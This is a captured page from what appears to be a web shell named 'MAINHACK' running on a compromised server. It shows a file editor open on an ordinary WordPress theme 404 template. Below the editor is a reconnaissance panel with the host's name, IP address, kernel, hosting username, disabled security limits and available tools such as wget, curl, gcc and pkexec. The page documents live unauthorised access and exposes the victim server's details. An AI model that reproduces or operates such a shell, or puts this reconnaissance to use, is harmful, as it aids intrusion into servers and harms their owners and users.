[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: 404.php
<?php /** * The template for displaying 404 pages (not found) * * @package Alico */ $page_404 = alico_get_opt( 'page_404', 'default' ); $page_custom_404 = alico_get_opt( 'page_custom_404' ); get_header(); ?> <div class="container content-container"> <div class="row content-row"> <div id="primary" class="content-area col-12"> <main id="main" class="site-main"> <?php if($page_404 == 'default') { ?> <section class="error-404"> <div class="error-404-content"> <div class="error-404-holder"> <div class="error-404-image"><img src="<?php echo esc_url(get_template_directory_uri().'/assets/images/image-404.png'); ?>" alt="<?php echo esc_attr__('404 Error', 'alico'); ?>" /></div> <h3 class="error-404-title"> <?php echo esc_html__('Sorry! Page Not Found!', 'alico'); ?><br/> </h3> <div class="error-404-desc"><?php echo esc_html__('Oops! The page you are looking for does not exist. Please return to the site’s homepage.', 'alico'); ?></div> <a class="btn btn-secondary" href="<?php echo esc_url(home_url('/')); ?>"> <i class="fac fac-cog space-right"></i> <?php echo esc_html__('Go back home', 'alico'); ?> </a> </div> </div> </section> <?php } else { ?> <article id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <div class="entry-content clearfix"> <?php $post = get_post($page_custom_404); if (!is_wp_error($post) && $post->ID == $page_custom_404 && class_exists('Case_Theme_Core') && function_exists('ct_print_html')){ $content = \Elementor\Plugin::$instance->frontend->get_builder_content( $page_custom_404 ); ct_print_html($content); } ?> </div> </article> <?php } ?> </main><!-- #main --> </div><!-- #primary --> </div> </div> <?php get_footer();
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.78 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002